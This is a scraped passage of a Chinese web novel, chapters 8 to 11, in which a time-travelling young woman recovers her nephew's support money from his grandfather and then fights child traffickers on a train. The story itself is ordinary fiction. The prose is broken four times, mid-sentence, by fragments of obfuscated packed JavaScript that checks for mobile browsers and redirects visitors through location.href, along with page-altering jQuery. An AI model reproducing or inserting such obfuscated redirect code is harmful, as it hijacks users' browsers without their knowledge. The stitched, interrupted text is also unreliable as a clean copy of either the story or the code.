拜完之后俞江对虞悦道,“现在都讲究破除封建迷信,咱得讲科学。” 虞悦:“……???” 他刚刚拜得那么起劲,是讲科学的样子吗? 虞悦有点想笑,但她忍住了:“话是这么说没错,但除了这个理由之外,好像也解释不通我的力气为什么一下子变得这么大了。” “二哥,你说我要是没猜错的话,那我会不会有事儿啊?” 咱得讲科学。 但三悦说的好像是有点道理啊。 俞江的脑子里有两个小人在打架,虽然他现在心里也有点慌,但是看到虞悦一副害怕的样子,他强装镇定地问道:“除了力气变大之外你有感觉身体哪里不舒服吗?” 虞悦摇头。 俞江的心稍微放松了些,他道,“那说明就算你没猜错,那也不是个坏东西,而且我想这说不定是我们大嫂放心不下小船,知道我们是来帮他的,所以才想办法借你的手来保护他。” 不是说人死后要是心中有挂念的话就会没办法进入轮回去投胎吗? 俞江觉得他们大嫂说不定就是这个情况。 看着嘴上说着要讲科学,结果说迷信说着说着就把自己说相信了的俞江,虞悦又想笑了,但面上却一副被他说服的模样:“二哥你说的有道理,如果真是大嫂的话,那我就不怕了。” 不怕了? 那肯定是大嫂,不是也得是了。 为了虞悦不害怕,俞江选择转移话题:“对了,三悦你明天打算用什么办法让他们同意?是拿他们当年偷情的事情威胁他们吗?” 不止俞江是这么想的,常芬也一样。 把她今天发生的事情原原本本地跟林建国说了,同时还提到了虞悦并没有把林建国当年为什么要趁着虞美云生二胎的时候干那些事的原因给说出来,常芬可不认为那是虞悦好心,她猜测:“她是不是想要利用这件事逼我们答应她提出的条件?” “她要是真打这个主意的话,那她的如意算盘可打不响了。”林建国说,“当年咱俩的事情连虞美云都找不到证据,更何况是她?我们当年回到南潭后可是特意请人给我们做介绍了,我们可以找得到人证她能找得到吗?” “但是她动手打了我们那是板上钉钉的事实,真要闹大的话,我们不好过,她也得栽跟头。” “那今天在小广场的事情呢?”常芬说,“老林啊,你是没看到她那张嘴巴多厉害,那帽子一顶一顶地往我跟金宝的头上扣,生怕扣不死我们似的。” “小孩子嘛,打打闹闹是正常的,别的不说,小船可是个早产儿,当年要不是有我们帮忙,他说不定都活不下来,我们对他可是有大恩的。”林建国说,“她要是真要拿这件事当幌子来整我们的话,那我就给林泽的部队打电话,问问他们的领导我这个当爹的给儿子养儿子是不是还养出仇来了?” “那丫头不在意我这个亲爹,还能不在意她亲哥的前途吗?” 常芬越听越觉得有道理:“那我们明天直接去上班了?” “直接去。” “她明天要是见不到我们,直接闹到厂里怎么办?” “那更好。”林建国说,“你又不是不知道我们厂长可是个大孝子,虞悦要是敢闹到厂里的话,你说厂长要是知道她打了我们的事儿还会对她有什么好印象吗?更别提她还狮子大开口,想把他大哥寄回来的钱全要回去,你说她胃口那么大,谁知道她想带小船回江城生活到底是为了他好还是冲着钱去的?” 一番以己度人后,林建国越发觉得自己猜得没错,于是等到第二天去上班的时候,他已经模拟了好几个应付虞悦闹事的法子和说辞了,甚至有点盼着她上门来闹事。 而虞悦没有让他失望,因为他工作到一半就被厂长的秘书喊走了:“真没想到啊,除了林泽之外,林同志你跟你前妻还生了一个那么厉害的女儿。” 林建国:“……???” 等等! 他这话是在夸虞悦吗? 林建国从秘书的语气和表情中已经隐隐约约预感到不太对劲了,等他跟着一块去到厂长的办公室后就确定自己的预感成真了—— 因为厂长居然和虞悦有说有笑的? 这不合理! 林建国想过厂长甚至会和虞悦吵起来都没有想过他们居然能相谈甚欢,尤其是厂长见到他过来了,还亲切地称呼他一声“建国同志”,“你的脸这是怎么了?” 虞悦笑得一脸腼腆道:“我爹昨天是第一次见我,实在是太激动了,一时没反应过来,自己把自己给绊倒了,这不,把脸给撞伤了。” 厂长没有怀疑什么,笑着对林建国道:“再激动也得小心啊,建国同志,不过我理解你,换做是谁有这么一个好女儿也该激动的,我想你的前妻一定是个十分优秀的女同志了,要不然也不可能生出两个那么有出息的崽。” 林建国:“……!!!” 等等! 怎么把虞美云也夸上了? “哪里哪里。”林建国虽然不知内情,但嘴上还是捧着厂长道,“他们可比不上厂长你们家的孩子。” “这个时候可别谦虚了。”厂长笑道,“我家那几个孩子可没有一个像小虞同志这样能帮我们厂子一个大忙。” 林建国越听越迷糊了,一旁的虞悦开口道:“厂长您过奖了,说实在话,还得是你们厂子的师傅们有这个本事,我也就是动动脑子和嘴巴而已,算不上帮了什么大忙。” “这话可不能这么说的。”厂长说,“要不是你动了脑子和嘴巴的话,我们怎么知道原来衣柜还能做成推拉门的?又怎么知道沙发和餐桌都能做成伸缩款式的?” “现在大家伙儿住房紧张,你说的这些家具比我们往常用的那些要更省地儿一些,做出来肯定受欢迎。” 厂长可不是瞎说的,就冲着虞悦说的那些伸缩餐桌吧,他听了都心动。 平时他家里就他和妻子两人吃饭,用的餐桌不大,但是一到节假期,尤其是过年的时候家里就热闹了,儿子儿媳都带着孙子孙女一块回来,人一多,平时吃饭的餐桌就不够用了。 结果就导致他们现在面临一个问题—— 要么买一张大桌子,平时用不上不说还占地,但好处是逢年过节可以一家人坐在一块吃团圆饭;要么继续用现在的小餐桌,逢年过节一家人一半站着吃,一半坐着吃,但好处是平时不占地。 买或不买都有各自的缺点,但如果直接买伸缩餐桌的话那就不一样了,平时他们老两口吃饭的时候就不展开,等孩子们都回来了再将它拉长拉宽,两者都能兼顾。 而且据他所知,至少在他们省内是绝对没有这么时髦的家具,要是他们厂能够做出来的话,厂长都可以想象得到他们厂子今年能出多大的风头了。 想到这儿,他不由地对虞悦道:“真是太感谢你了,小虞同志。” 虞悦并不居功:“厂长您要是真想感谢的话,那你就谢谢另外两个人吧。” “哪两个人?” “一个是您自己。”虞悦说,“要不是您心胸宽广,虚己以听的话,我就算有再多的好想法也没用,毕竟千里马也需要伯乐赏识的。” 厂长被夸得嘴巴都快翘起来了。 “而另一个就是我爹了。”虞悦继续道,“虽然我爹他当年……算了,不说了,毕竟不管怎么样他都是我亲爹,现在他又同意让我们带小船回江城跟我们一块生活,还愿意把我大哥寄回来的钱交给我们用于日后抚养小船,既然如此,我总得回报一二的。” “昨天晚上我在招待所思前想后,最后还是决定用这种方法回报他,毕竟只有厂子越来越好,他的生活也才能越来越好。” “……???” “……!!!!!!” 他什么时候同意他们带小船回江城?又什么时候愿意把林泽寄回来的钱都交给他们了? 捧杀! 这绝对是对他的捧杀! 林建国这下意识到了就算虞悦不是他养大的,也真不愧是他的女儿,无耻起来居然跟他一模一样……不对,应该说是有过之而无不及才对! 林泽出去当兵了八年,八年时间里他寄了多少钱回来林建国已经记不清了,但是他粗略一算就知道就算没有大几千也有小几千。 在这个一颗鸡蛋才几分钱的年代,小几十都不是什么小钱了,更何况是小几千? 事实上别说是钱了,林建国连小船也不愿意让虞悦他们带走,打从昨天知道林泽和虞悦他们相认后,他就知道他这个大儿子十有八九是恢复记忆了,偏偏他之前一直瞒着他,这不就说明了他防着他这个当爹的吗? 既然如此,那么他更要把小船留在南潭了,要不然他怎么可能乐意继续给他寄钱?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17028809|194476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>甚至林泽这几个月没有给他寄钱,林建国都怀疑他是故意的,目的就是能让虞悦他们顺利带走小船。 他可不上这个当。 然而林建国没想到虞悦居然给他来了一招釜底抽薪,他不想让她如愿,但是当着厂长的面,他是什么反对的话也说不出来。 就算他是傻子他也看得出来厂长现在有多喜欢虞悦了,也听得出来他很重视她提供的想法,他要是拒绝她的话,林建国都担心虞悦还没来得及开口说什么,厂长就先不高兴了。 “小虞同志你说得太好了,你放心,我们厂子不占你便宜,你给我们的那些图纸,我们厂出钱买了,一张图纸五、不,八十块。”厂长刚说完,虞悦就拒绝道,“不用了,这些既然是我孝顺我爹的,又怎么好意思收钱呢?厂长您要是真想感谢我的话,那日后有机会提携我爹一二就好了。” 厂长一听,对虞悦这个孝顺女儿更加有好感了:“建国同志,我可真羡慕你有一个这么聪明孝顺的女儿,你可真有福气。” 然而这样的福气林建国是一点都不想要,他故意道:“林泽总共当兵八年,他寄回来的钱有一部分我们已经花了,毕竟那时候小船还没出生,我以为他给我寄的那些钱是孝顺我的,没想到这会儿要我还……” “所以厂长,这会儿我实在是没办法一下子把他寄回来的钱全部拿出来。” 林建国以为自己这么说就能让厂长知道虞悦有多贪心,结果没想到后者顿时摆出一副震惊模样:“爹您怎么能冤枉我呢?我什么时候要您把大哥这八年寄给你的钱全部拿出来了?我们昨天不是商量好了,您也同意把大哥这五年寄给您的、用于抚养小船的、剩下的钱交给我们吗?” 林建国:“……???” “我知道大哥这五年总共寄了两千一百六十块给您,虽然我不知道你们用剩了多少,但是我想不管多少,您愿意给总归是您一个做爷爷的对小船的心意,结果我没想到这才过去一个晚上您就反口了?还打算给我泼脏水?您……您实在是太过分了!” 林建国:“……!!!” 他完全没想到虞悦居然敢当着他的面颠倒黑白,更没想到她居然把林泽这五年寄给他的钱全给说出来了。 要知道他一直对外说林泽每个月只寄了几块钱回来托我们照顾小船的,正是因为如此,所以即便小船一直瘦巴巴的也没有人过分指责他们。 要是让他们知道林泽这五年给他寄了那么多钱而他们却还把小船养得一副营养不良的模样…… 其他人会是什么反应林建国暂时不知,但是厂长会有什么反应他现在知道了,他一拍桌子:“胡闹!林泽这五年寄了这么多钱回来,你还把孩子养成这样?你亏不亏心啊?” 厂长第一眼看到小船的时候就觉得他有点太瘦了,但他也没多想,养一个孩子也不容易,尤其是个早产儿,直到得知他爹这五年寄了多少钱回来他才意识到不对。 那么多钱怎么可能把一个五岁的孩子养得跟个三岁孩子似的? “林建国啊林建国,你实在是太让我失望了。”现在在厂长这儿,虞悦是盖了章的孝顺女儿,而林建国则是盖了章的混账祖父了。 说不定还是个混账父亲。 厂长想到了虞悦刚刚的欲言又止,再想到了她刚刚连报酬都不要只希望他有机会能够提携林建国一二,就越发觉得他不是个东西。 “你现在回去拿钱,有多少就拿多少过来,总共两千一百六十块是吧?不够的话就先拿你的工资垫付,反正你们家有两个工人,少了你那份工资也不会饿死。” 厂长直接拍板,这下林建国是乐意也得还这笔钱,不乐意也得还了,毕竟他未来十几年还得继续在厂里工作,说不定就连他小儿子以后也得来厂里上班的,真要得罪了厂长,他们全家都没好日子过。 …… 虞悦来之前确实是存了利用厂长逼林建国给钱的心思,但是她没想到效果居然这么好。 这下她庆幸自己来之前打听过厂长的为人,临时换了计划。 等从林建国的手里接过两千一百六十块后,虞悦感谢厂长的同时,还顺便给林建国挖了一个坑:“厂长,这笔钱实在是太多了,我希望你们能帮我们保密,别透露出去,不然的话我怕我们会被坏人给盯上。” “你放心,我们肯定不会多嘴的。”厂长知道虞悦说的有道理,虽然俞江看起来很有震慑力,但架不住跟他同行的是虞悦和小船这两个既不能看又不能打的。 真要被坏人盯上了,俞江再厉害也双拳难敌四手。 想到虞悦贡献了那么多好想法给他们家具厂还不要钱,再想到小船的亲爹还是军人,厂长主动问道,“你们哪天回江城?要不要我们帮你们买硬卧票?” 为什么不帮忙买软卧票? 一是怕虞悦他们舍不得,二是…… 咳咳,连他这个厂长都没有资格买,更别提帮人买了。 “要。”虞悦这会儿可不跟厂长假客气了,“真的太感谢您了,厂长,我们打算明天就回江城。” 至于他们坐硬卧会不会错过人贩子? 虞悦觉得不碍事,反正人贩子想不到办法找上门,她就主动送上门呗。 9. 第 9 章 009 对于小船来说,虞悦自打昨天从天而降地将他从林金宝的欺凌中拯救出来后,她就已经是他心目中的大英雄了。 而今天又多了一个人把虞悦视作自己心目中的大英雄,那个人就是俞江。 他低头看了一眼用报纸包起来的、一大叠整整齐齐的大团结后,眼睛都瞪大了:“三悦,你真的把大哥寄的钱要回来了?” 虞悦纠正道:“准确一点来说应该是把大哥这五年寄的钱要回来了。” 至于最初那三年寄的那些钱,虞悦很清楚她是要不回来的,哪怕厂长现在站在她这边,她也没理由要林建国把虞泽前三年寄给他的孝顺钱吐出来。 除非林建国像对待小船那样对待过虞泽,但她知道虞泽被他带回南潭后并没有受过什么虐待,相反,因为林建国和常芬二婚后迟迟都没有孩子,所以直到虞泽去当兵之前,他在家里的待遇一直都挺好的,常芬哪怕看他不顺眼也不敢虐待他。 谁让当时虞泽是林建国养在膝下的、唯一的儿子呢? 这是虞泽出去当兵后心甘情愿给林建国寄钱的原因,也是他在妻子难产去世后放心把孩子交给林建国他们帮忙抚养的原因。 但是那时候的虞泽压根没想到人心能够变得那么快。 “那也已经很厉害了。”俞江知道虞泽这五年寄回去的那些钱有一部分是给林建国的孝顺钱,而且虞悦昨天还把林建国他们一家三口都揍了个遍,所以他原本想着虞悦要是有办法能要回一半的钱已经很不错了。 结果没想到她居然有办法把两千一百六十块全部要回来! 小船与有荣焉地附和道:“我姑姑最厉害。” “这还得多亏了你呀,小船。”虞悦伸手摸了摸他的小脑袋,“就是因为有你帮我画的那几张图纸当敲门砖,我才能那么顺利地把这些钱给拿回来。” “真的吗?”小船嘴上是这么问的,但是脸上已经因为虞悦的一句话而止不住地露出一个大大的笑容。 “当然了。”虞悦看着小崽崽那张和她有几分相似却瘦得连婴儿肥都没有的小脸,她不由地在心底里骂了林建国他们几句畜生,“所以这功劳也有你的一半。” 小船笑得更开心了,不过这次并不是因为被夸,而是因为确定自己是有用的。 “对了,二哥,刚刚厂长已经帮我们买了明天回江城的火车票,而且都是硬卧票。”说着,虞悦揽住小船的肩膀道,“我们明天就可以回江城啦,高不高兴?” 小崽崽顿时重重地点了点头“嗯”了一声:“高兴。” 他高兴得都想要蹦起来啦。 “厂长可真是个好人啊。”俞江把钱重新包好放进背包后道,“走,我们现在去邮局给爸妈打电话,” 虞悦没有拒绝,只是道:“别把我们还带了两千多块钱回去的事儿告诉爸妈,免得他们提心吊胆的。” 拿到这一叠大团结的时候虞悦第一反应就是想通过邮政汇票把钱寄回江城,毕竟在二十一世纪生活的她并不习惯把现金带在身上,尤其是大笔现金。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17028810|194476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >但是厂长的话却打消了她的这个想法,因为这年头邮政汇票的限额是三百块,而且涉及到大宗汇票的话得接受邮局的重点盘问以及提供各种证明和资料,过程极其繁琐和费时费力。 所以虞悦就干脆决定随身携带这笔钱回江城,好在她现在有的是力气,只要注意一点应该不会出什么岔子。 但虞美云他们并不知道她现在的情况,真把这事儿也告诉他们,虞悦担心他们会萌生让俞东明来南潭接他们的念头。 经过虞悦的解释,俞江也觉得有道理,主要是他已经知道他妹妹已非吴下阿蒙了。 现在的虞悦看着依然是柔柔弱弱的,但是不知道为什么,俞江一看到她就觉得……咳,挺有安全感的。 * 虞悦他们在招待所又住了一个晚上,第二天吃过午饭之后就出发前往火车站。 靠着厂长的面子,他们顺利买到两张硬卧票,在候车室等待的时候,俞江见虞悦时不时地东张西望,以为她是因为紧张,就小声提醒道:“三悦你放心吧,我们的钱藏得那么严实,肯定不会被偷的。” 虞悦一听,看向俞江欲言又止,一时之间不知道是应该解释自己不是在紧张,还是劝他不要随便立flag。 不过虞悦最后什么都没说,因为很快就有广播通知他们乘坐的那趟火车进站了,虞悦和俞江两人立马分工合作,一个抱起小船,一个提着行李,兄妹两人就随着人流朝入站口走了过去。 刚走没几步,虞悦就感觉到有人从后面撞了她一下。 10. 第 10 章 010 被对方这么一撞,单手抱崽的虞悦下意识地用左手摸了摸自己的肚子,然后才回头看了一眼撞到自己的人。 撞到虞悦的是一个二十岁出头的姑娘,她的模样生得清秀,脸上还戴着一副眼镜,看着有几分书呆子的模样,知道自己撞到人了,红着脸连声道:“不好意思,不好意思,同志没撞疼你吧?” 虞悦摇摇头道:“没有。” 对方闻言,松了一口气,冲虞悦笑笑后,见她还抱着一个孩子,她连忙拉开了和她之间的距离,生怕自己一个不小心再把她给撞喽。 然而这会儿正是大家伙儿都着急着上车的时候,哪里是她愿意拉开距离就能拉开距离的? 于是虞悦还没抱着小船走上车,就又被撞了一下,这次她的脸更红了,不等虞悦回头,她就忙不迭地开始道起了歉。 虞悦见她跟原主似的,长得瘦瘦弱弱的,偏偏两只手还拎着两个大行李,干脆一手抱着小船,一手帮她提过一袋行李:“走吧,我们一块上车。” “谢谢谢谢,太谢谢你了同志。”少拎一袋行李后,对方行动都方便了许多,后面的人再挤着她,她也不会再因为控制不了平衡而撞到别人。 因为对方买的是硬座票,所以上到火车后双方都分开走了,不过临分开前双方还是交换了姓名:“有缘再见,虞同志。” “好。”虞悦爽快答应下来,见潘梅是一个人坐车的,她道,“这一路上你要是需要什么帮助的话可以到硬卧那边找我们。” 潘梅一听,脸上的笑意更盛了:“好好好,再见。” 虞悦他们和潘梅分开后,一行三人很快就找到了他们的位置,厂长帮他们买的两张硬卧票一张是下卧,一张是上卧,俞江让虞悦和小船先到下卧坐好后道:“今天我睡下卧,三悦你带小船睡上卧。” 论方便当然是下卧最方便,但是论安全和私密的话那肯定是上卧。 “行。”虞悦无所谓,倒是小船一听,眼睛都亮了。 平心而论,小船觉得不止是虞悦这个姑姑,就连俞江这个二叔也对他十分好。 别看他小,但是他已经知道有血缘和没血缘的区别了,毕竟常芬跟前夫生的大儿子也娶妻生子了,虽然他们没有住在家属楼里,但他们每次来,小船都亲眼见到常芬是如何高兴,又是如何疼爱自己的亲孙子的。 但是在他被林金宝欺负的时候,是虞悦从天而降拯救了他,不仅把他从林家带走,还把他爸爸这五年寄到南潭的钱全部都要了回来。 所以小船最喜欢、最崇拜也最依赖的人肯定是虞悦了。 在招待所的那两个晚上,小船都是跟俞江一个房间的,现在有机会跟虞悦一块睡,他心里头自然是高兴的。 要不是怕虞悦嫌他,小船恨不得一天二十四小时都黏着她,毕竟小崽崽长这么大鲜少遇到真心疼爱他的人,更没遇过救他于水火的人。 …… 人生中第一次坐火车的小船对车上的任何东西都十分好奇,尤其是当火车发动后,当他趴在窗口看着窗外不断倒退的景色时更是看得目不转睛。 俞江就没有小船那么悠闲了,虽然他在候车室的时候信誓旦旦地对虞悦说他们的钱不可能被偷,但是他长这么大还是第一次随身携带这么大一笔现金,而火车上鱼龙混杂的,他自然提着一颗心,生怕虞悦想办法从林建国那儿要回来的两千多块被他们给弄丢了。 虽然钱不是自己的,但是真要丢了,俞江觉得自己能心疼死……不对,应该是能心疼到恨不得去死。 于是这会儿轮到虞悦反过来安慰俞江了:“二哥你放松点,好歹我们是硬卧,就算住满了也才几个人,再说了,咱们是一起的,但是谁能想到我才是身上藏钱的那一个?” 没错,那两千多块虞悦他们没有分开藏,而是全藏在她一个人身上了。 俞江本来想分担分担的,主要是他觉得鸡蛋不要放在同一个篮子里比较好,但虞悦的理由也说服他了,她说他们得反其道而行之,而且她现在多亏了“大嫂保佑”,真要遇上小偷了,她也并非没有反手之力的弱女子。 然而俞江不知道的是,虞悦这么做的目的并不是为了保护这笔巨款,而是打算拿这笔巨款去钓鱼执法呢。 在书中,虽然小男主落到人贩子的手里并不是因为常芬真的把他给卖了,但是拐走小男主的人贩子确实是被常芬给吸引过来的。 在虞泽失联期间,因为连续几个月都没有收到他寄回来的钱,常芬越发看小男主不顺眼,打骂是常有的事儿,也时不时恐吓他要把他给卖了,每次看到小男主那张酷似虞泽的小脸因为她的话而吓得发白,她心里就有一种诡异的快感。 不仅仅因为他的亲奶奶曾是林建国的第一任妻子,也因为他的亲爹哪怕在失忆期间也总爱跟她这个继母对着干。 常芬没办法对付虞美云,又不敢找虞泽算账,就只能把自己这些年的憋屈和不爽全都发泄到小船的身上。 事实上她并没有打算把小船给卖了,一来她没那么胆子,二来她也不想断了自己的发财路。 留着小船,他们才能让虞泽持续不断地、心甘情愿地给他们掏钱。 然而常芬不知道的是,她恐吓小船的话不仅小崽崽当真了,就连无意间听到的人贩子也起了心思,这才会盯上小船。 本来人贩子是打算通过跟常芬接触买走小船的,结果没想到她前脚跟常芬接触,后脚小船就离家出走了。 这对人贩子来说简直就是想打瞌睡就有人送枕头。 虞悦不确定自己和俞江的出现会不会让人贩子打退堂鼓,所以顺利从林建国那儿拿回两千多块后,她就打算利而诱之。 一个小船不值得人贩子冒险,但是如果加上她和两千多块的巨款呢? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17028811|194476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想到这儿,虞悦摸了摸自己的脸蛋,再摸了摸自己身上藏的钱,心想她就不信人贩子能忍得住这么大的诱惑。 …… 有了虞悦的劝说,再加上这一路上都太太平平的,俞江悬着的那颗心总算可以稍稍落地了,眼见着火车即将抵达沪市,他笑道:“从南潭回江城倒是方便一些,只要在沪市换乘一次就行,倒是给我们节省了不少中间换乘的时间。” “话是这么说没错,但是一下子坐三十几个小时的火车,都快把我给坐懵了。”虞悦低头瞅瞅小船,笑着摸摸他的小脑袋,“我们小崽崽也坐蔫了是不是?” 小船确实是有些蔫,但是一听到虞悦用这么亲昵的称呼来喊自己,他的心情就变得十分愉悦。 从前他十分羡慕自己的小叔,不仅羡慕他有林建国和常芬的疼爱,也羡慕他有许多的爱称,什么宝呀,崽呀。 但是从今天开始他就不羡慕啦,他姑姑喊他“小崽崽”诶。 于是等潘梅来到他们的车厢寻虞悦的时候,就见小船小脸红扑扑的,她虽然好奇,却也没有多问什么,而是看向虞悦问她:“虞同志,我听说马上就要到沪市了,我能不能借你的镜子用一下?” 潘梅在早上到厕所洗漱的时候碰到虞悦他们了,知道她这儿有镜子她才特意来跟她借的。 虞悦也是在今天早上碰面的时候才从潘梅口中知道她本来她在南潭有一份工作,结果却被她后妈抢走了,为了不下乡,她只能带上行李孤身一人前往沪市去找她娃娃亲对象履行婚约了。 所以一听她要借镜子,虞悦就知道她想在临下车之前好好地整理一下仪容,免得给她娃娃亲对象留下一个不好的印象。 “可以啊。”虞悦没有拒绝,正好她也想上厕所,从背包里取出镜子后就让俞江看好小船,“我上个厕所就回来。” 俞江不放心:“我和小船陪你们去吧?” “不用。”虞悦拒绝了,“二哥你留下来看好小船和行李就好。” “那你快一点。”俞江道,“火车马上就要到站了。” 火车确实马上就要到站了,虞悦她们还没走到厕所,就感觉到脚下的火车行驶速度明显慢了起来,随着“呜呜”声响起,缓缓地驶进了站台。 虞悦道:“看来我们得快点了。” “是该快点了。”潘梅冲虞悦笑了笑,“你先上厕所吧,我在外面也能用镜子整理头发。” “好。”虞悦点头,抬脚正要进厕所,突感身后有异,她下意识地侧身抬手,用手臂打开了对方拿着帕子的手。 虞悦一回头,就见原本腼腆的潘梅摘下眼镜后就像是变了个人似的,狭长的眼睛里透着精光:“你果然有两下子。” 她的话音刚落,虞悦就见有四人前后方面朝她们这边靠近—— 她就知道! 凭她的脸和两千多块的巨款果然能钓到大鱼! 11. 第 11 章 011 在潘梅他们一众人贩子眼里,虞悦他们也是大鱼。 如果只有小船一个人的话,那么潘梅他们在知道虞悦并非表面看起来那么弱不禁风后,他们自然会改变主意。 要知道干他们这一行的人,最知道能对什么样的人下手,不能对什么样的人下手了。 但是在见到虞悦那张脸,又知道他们将携带两千多块的巨款踏上回家之路后,潘梅他们商量过后,一咬牙,一跺脚,决定继续干这一票。 毕竟光靠卖虞悦和小船他们姑侄俩他们就能赚不少,更别提他们本身就带着两千多块,这一票真要干成了那他们可就发了。 至于干不成的话…… 不可能,他们不可能干不成的。 潘梅他们也不是头一回当人贩子了,虽然虞悦并不是手无缚鸡之力的姑娘,但是他们看她的样子也没有打遍天下无敌手的本事。 再说了,功夫再高,也怕菜刀,他们真要跟虞悦来真的,她一个小姑娘哪里是他们这些老江湖的对手? 考虑到虞悦他们本身就携带着大量现金,回程的路上肯定会十分警惕的,所以一帮人贩子商量后决定派看起来最人畜无害的潘梅接近虞悦他们,顺便探探他们的底儿。 一碰头,潘梅就确定了虞悦身上肯定是藏着钱的,也确定了他们成功的可能性很大。 因为潘梅发现虞悦确实是有一把子力气,要不然也不可能做到一只手抱小孩,一只手拎行李了,但是她的防备心却不强,或者说对她这种看似无害的女同志的防备心并不强。 如此一来,潘梅他们就决定按计划进行—— 先让潘梅想办法把虞悦和俞江他们分开,搞定了她之后再以她为借口把俞江和小船吸引过去,然后一网打尽。 潘梅本来信心满满的,想着自己既然已经取得虞悦的信任,那么接下来对她下手的事情肯定十拿九稳了,结果哪里想到虞悦的反应居然那么敏锐? 还是说她从始至终都没有放下对她的戒备心? 潘梅干他们这一行这么多年,不承认是自己看走眼了,只能将原因归结为前者。 不过一击不成,潘梅也不失望,毕竟她就不信她仅凭一人之力就能够从他们五人的围剿中突围出去。 抱着这样的想法,潘梅率先出手,那蘸满迷药的帕子她始终不脱手,想到寻到机会就用到虞悦的身上。 潘梅一动,后面出现的四人也跟着朝虞悦扑了过来,后者反应极快,她很清楚双拳难敌四手的道理,再加上这些人贩子向来手段肮脏,谁知道除了潘梅之外,其余四人的手上有没有类似迷药的东西? 虞悦可不想当关二爷第二,大意失荆州。 所以她出拳又快又狠,一拳过去直接把出头鸟潘梅打了一个脑震荡,见其余四人被她的铁拳给震慑住了,她来了一个乘胜追击,先朝着左边的两人迎了上去。 砰! 砰!! 砰!!! 要问虞悦最讨厌的人都有谁,那么人贩子绝对是榜上有名的一个,不仅仅因为她也曾经被拐过,更因为她看过许多人的人生和家庭都因为人贩子的拐卖而毁掉了。 所以对于这些人渣,虞悦简直深恶痛绝,她早就通过书中的剧情知道了他们这帮人贩子是在许多年之后才落入法网的,有的甚至被判处死刑。 但是虞悦对于这个结局却一点都不满意,因为那时候他们的年纪都已经大了,该享的福都享了,不管是被判坐牢还是被判死刑,虞悦都觉得不足以弥补他们在这些年里所犯下的罪孽。 好在她穿书了。 好在她有机会赶在他们拐走更多妇女儿童之前将他们绳之於法。 除去救下小船那次之外,这是虞悦第一次那么清晰地萌生了这样的想法。 …… 虞悦他们打斗的声音在车轮和铁轨的撞击声下其实并不太明显,但是架不住现在正是火车进站的时候,所以很快地就有人注意到他们这边的情况不对劲了。 看到地上倒了三人,还有两个牛高马大的男人正在联手打一个弱不禁风的小姑娘,稍微有点正义感的乘客都看不过去了,接二连三地开口道:“喂,你们在干什么?快住手!” “挺大一个老爷们儿合起伙儿来欺负人家老弱妇孺的,你们还要脸不?赶紧住手,我喊乘警了嗷。” 很显然,乘客们误以为被打到倒地不起的潘梅和其他两个大爷大娘模样的人跟虞悦一样,都是受欺负人的受害者。 其中一个牛高马大的男人见势不对,趁着同伴绊住虞悦的间隙,二话不说扭头就钻进了厕所里,然后从窗户直接往外跳。 虞悦见状,二话不说用铁拳“Duang”地一下送了绊住自己的人贩子一个脑震荡后,冲着往这边赶过来的乘客们丢下一句“他们全都是坏人,麻烦大伙儿看住他们,别放跑了”之后二话不说跟着最后一个人贩子跳车了。 火车里的乘客们看不见这一幕,但站台上的人却看得一清二楚。 刚开始他们还以为要么是有人第一次坐火车,一时心急才从窗户“下车”的,要么是逃票的人被乘务员抓到了,狗急跳墙直接跳车了。 但是很快地他们就发现不对劲了,因为紧接着又有一个小姑娘从窗户跳了下来,从打扮上就看得出来她并不是铁路上工作人员,但是从火车上跳下来后她却紧追前一个跳车的男人不放。 “这是咋回事儿?” “我的天,火车都还没停呢,他们怎么就敢往下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17028812|194476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跳啊?” “发生什么事儿了?大家伙儿别愣着了,赶紧上去帮忙啊。” 站台上的乘客们在铁路工作人员不间断地提醒下已经知道在火车没有完全停下来的情况下他们是不能靠近火车的,要不然得出事,但是现在一激动,有的乘客就忘了这件事,打算帮忙的他们拔腿就往虞悦他们这边赶。 虽然他们都不知道到底是怎么回事,也不知道谁好谁坏,但是管他们,帮了忙再说。 然而他们再快,也快不过虞悦,从火车上跳下来的她顺着惯性在地上滚了两圈,趁机滚得远离火车后才爬起来二话不说冲着男人追了上去。 